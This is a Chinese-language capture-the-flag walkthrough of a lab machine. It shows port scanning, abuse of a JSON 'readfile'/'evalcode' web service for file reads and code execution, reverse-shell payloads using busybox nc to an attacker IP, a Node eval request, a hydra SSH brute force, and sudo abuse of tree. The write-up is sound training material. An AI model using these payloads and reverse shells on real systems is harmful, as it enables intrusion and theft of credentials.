

主机发现

```
└──(root㉿kali)-[~/Desktop/xhh/QQ/vm1]
└# arp-scan -I eth1 -l
(...)
192.168.56.103 08:00:27:83:1a:e6      PCS Systemtechnik GmbH
(...)
```

主机地址为 192.168.56.103

端口扫描

```
└──(root㉿kali)-[~/Desktop/xhh/QQ/vm1]
└# nmap -p- 192.168.56.103
(...)
PORT      STATE SERVICE
80/tcp    open  http
222/tcp   open  rsh-spx
9000/tcp  open  cslistener
(...)
```

发现开放端口有 80, 222, 9000

80与222端口探测

80端口为apache默认界面，暂无有用信息

```
└──(root㉿kali)-[~/Desktop/xhh/QQ/vm1]
└# nc 192.168.56.103 222
SSH-2.0-OpenSSH_7.9p1 Debian-10+deb10u3
```

222端口为ssh服务

9000端口探测

CTF Arbitrator

Enter the JSON payload to send to both backend services (Python on 5000 and PHP on 8080).

JSON Payload:

Submit and Arbitrate

在检查页面源代码时发现提示

```
5 <html>
6 </html>
7 <!-- {"action":"readfile","file":"/etc/hosts"} -->
```

使用该段json格式的数据提交

CTF Arbitrator

Enter the JSON payload to send to both backend services (Python on 5000 and PHP on 8080).

JSON Payload:

```
{"action": "readfile", "file": "/etc/hosts"}
```

Submit and Arbitrate

Arbitration Verdict:

****SUCCESS!**** Responses from both services are identical.

```
{
    "content": "127.0.0.1\\tlocalhost\\n::1\\tlocalhost ip6-localhost ip6-
loopback\\nfe00::0\\tip6-localnet\\nff00::0\\tip6-mcastprefix\\nff02::1\\tip6-
allnodes\\nff02::2\\tip6-allrouters\\n172.17.0.2\\tbf50c205e6b3\\n",
    "filename": "/etc/hosts"
}
```

发现可以提交

执行错误的action返回出两种操作，一种读文件 `readfile`，另一种执行代码 `evalcode`

CTF Arbitrator

Enter the JSON payload to send to both backend services (Python on 5000 and PHP on 8080).

JSON Payload:

```
{"action": "r", "file": "/etc/hosts"}
```

Submit and Arbitrate

Arbitration Verdict:

SUCCESS! Responses from both services are identical.

```
{
    "error": "Unknown action. Supported actions: readfile, evalcode."
```

通过执行 evalcode 错误的参数，得到正确的参数为 code

CTF Arbitrator

Enter the JSON payload to send to both backend services (Python on 5000 and PHP on 8080).

JSON Payload:

```
{"action": "evalcode", "file": "/etc/hosts"}
```

Submit and Arbitrate

Arbitration Verdict:

SUCCESS! Responses from both services are identical.

```
{
    "error": "Missing \"code\" parameter for evalcode action."
}
```

action	参数
readfile	file
evalcode	code

读取/etc/passwd

JSON Payload:

```
{"action": "readfile", "file": "/etc/passwd"}
```

Submit and Arbitrate

Arbitration Verdict:

SUCCESS! Responses from both services are identical.

```
{
    "content":
"root:x:0:0:root:/bin/sh\nbin:x:1:1:bin:/bin:/sbin/nologin\ndaemon:x:2:2:daemon
:/sbin:/sbin/nologin\nlp:x:4:7:lp:/var/spool/lpd:/sbin/nologin\nsync:x:5:0:sync:/sbin
:/bin/sync\nshutdown:x:6:0:shutdown:/sbin:/sbin/shutdown\nhalt:x:7:0:halt:/sbin:/sbin
/halt\nmail:x:8:12:mail:/var/mail:/sbin/nologin\nnews:x:9:13:news:/usr/lib/news:/sbin
/nologin\nuucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin\ncron:x:16:16:cron:/v
ar/spool/cron:/sbin/nologin\nntp:x:21:21::/var/lib/ntp:/sbin/nologin\nsshd:x:22:22:ss
hd:/dev/null:/sbin/nologin\ngames:x:35:35:games:/usr/games:/sbin/nologin\nntp:x:123:1
23:NTP:/var/empty:/sbin/nologin\nguest:x:405:100:guest:/dev/null:/sbin/nologin\nnobod
y:x:65534:65534:nobody::/sbin/nologin\nphp:x:1000:1000:users:/home/php:/bin/sh\npyth
on:x:1001:1001:users:/home/python:/bin/sh\nnode:x:1002:1002:users:/home/node:/bin/sh\
n",
    "filename": "/etc/passwd"
}
```

发现存在 root, php, python, node 用户的sh

反弹shell (目标读取三个flag)

反弹python的shell

在攻击机上开启监听，提交下方json格式的数据

```
{"action": "evalcode", "code": "os.system(\"busybox nc 192.168.56.247 6666 -e
/bin/sh\")"}
```

执行完后

```
└─(root㉿kali)-[~/Desktop/xhh/QQ/vm1]
└# nc -lvpn 6666
listening on [any] 6666 ...
id
connect to [192.168.56.247] from (UNKNOWN) [192.168.56.103] 46389
uid=1001(python) gid=1001(python) groups=1001(python)
```

反弹php的shell

```
{"action": "evalcode", "code": "system(\"busybox nc 192.168.56.247 5555 -e /bin/sh\")"}
```

```
└──(root㉿kali)-[~/Desktop/xhh/QQ/vm1]
└# nc -lvp 5555
listening on [any] 5555 ...
id
connect to [192.168.56.247] from (UNKNOWN) [192.168.56.103] 46389
uid=1000/php gid=1000/php groups=1000/php
```

读取flag_py、flag_php和flag_node

```
/ $ ls -al
total 92
drwxr-xr-x  1 root      root          4096 Nov 24 08:05 .
drwxr-xr-x  1 root      root          4096 Nov 24 08:05 ..
-rwxr-xr-x  1 root      root           0 Nov 24 08:05 .dockerenv
(...)
-rw-----  1 node      node         23 Nov 24 08:05 flag_node
-rw-----  1 php       php        13 Nov 24 08:05 flag_php
-rw-----  1 python    python     20 Nov 24 08:05 flag_py
```

发现是docker环境

```
/ $ cat flag_py
flag{flaglis_python}
```

```
/code/agent $ cat /flag_php
_flag2_isphp
```

进入php的shell时，发现在 /code/agent

```
/code/agent $ pwd
/code/agent
/code/agent $ ls -al
total 64
drwxr-xr-x  1 root      root          4096 Nov  4 08:56 .
drwxr-xr-x  1 root      root          4096 Nov  4 08:55 ..
-rw-r--r--  1 root      root         3109 Nov  3 09:44 index.php
-rw-r--r--  1 root      root         1035 Nov  4 08:55 node.js
drwxr-xr-x  68 root     root          4096 Nov  4 08:56 node_modules
-rw-r--r--  1 root      root        29482 Nov  4 08:56 package-lock.json
-rw-r--r--  1 root      root          52 Nov  4 08:56 package.json
-rw-r--r--  1 root      root         2416 Nov  3 09:43 pyagent.py
```

发现node.js的源码

```
/code/agent $ cat node.js
(...)
const port = 3000;
(...)
```

猜测node.js时运行在本地的3000端口下

```
/code/agent $ wget -q -O - \
>   --header "Content-Type: application/json" \
>   --post-data '{"code": "require('fs').readFileSync('/flag_node',
'utf8').toString()"}' \
>   http://localhost:3000/evalcode
#=====回显=====
>{"code":"require('fs').readFileSync('/flag_node',
'utf8').toString()","result":"have_@funnnnnnnngooos}\n","type":"string"}
/code/agent $
```

```
#flag_node
have_@funnnnnnnngooos}
```

根据提示，这三个flag是一个用户的密码

```
flag{flag1is_python_flag2_isphphave_@funnnnnnnngooos}
```

登录用户admin

```
—(root㉿kali)-[~/Desktop/xhh/QQ/vm1]
└# hydra -L ~/Desktop/unix_users.txt -p
flag{flag1is_python_flag2_isphphave_@funnnnnnnngooos} ssh://192.168.56.103:222 -
VV -o vmssh.txt -f
(...)
[222] [ssh] host: 192.168.56.103    login: admin    password:
flag{flag1is_python_flag2_isphphave_@funnnnnnnngooos}
```

爆破出用户名为admin

```
—(root㉿kali)-[~/Desktop/xhh/QQ/vm1]
└# ssh admin@192.168.56.103 -p 222
(...)
=====
欢迎使用 Linux 服务器
登录时间: 2025-11-24 04:27:08
内网IP: 192.168.56.103
外网IP: 未获取
=====
```

权限提升

查看sudo权限

```
admin@debian:/$ sudo -l
[sudo] password for admin:
Matching Defaults entries for admin on debian:
    env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User admin may run the following commands on debian:
    (ALL) /usr/bin/tree
```

读取flag

```
admin@debian:/$ sudo tree --fromfile /root/root.txt
/root/root.txt
`-- flag{woahiz}

0 directories, 1 file
```

提权思路：通过-o参数，可将目录结构写入任意文件（但是我没复现成功）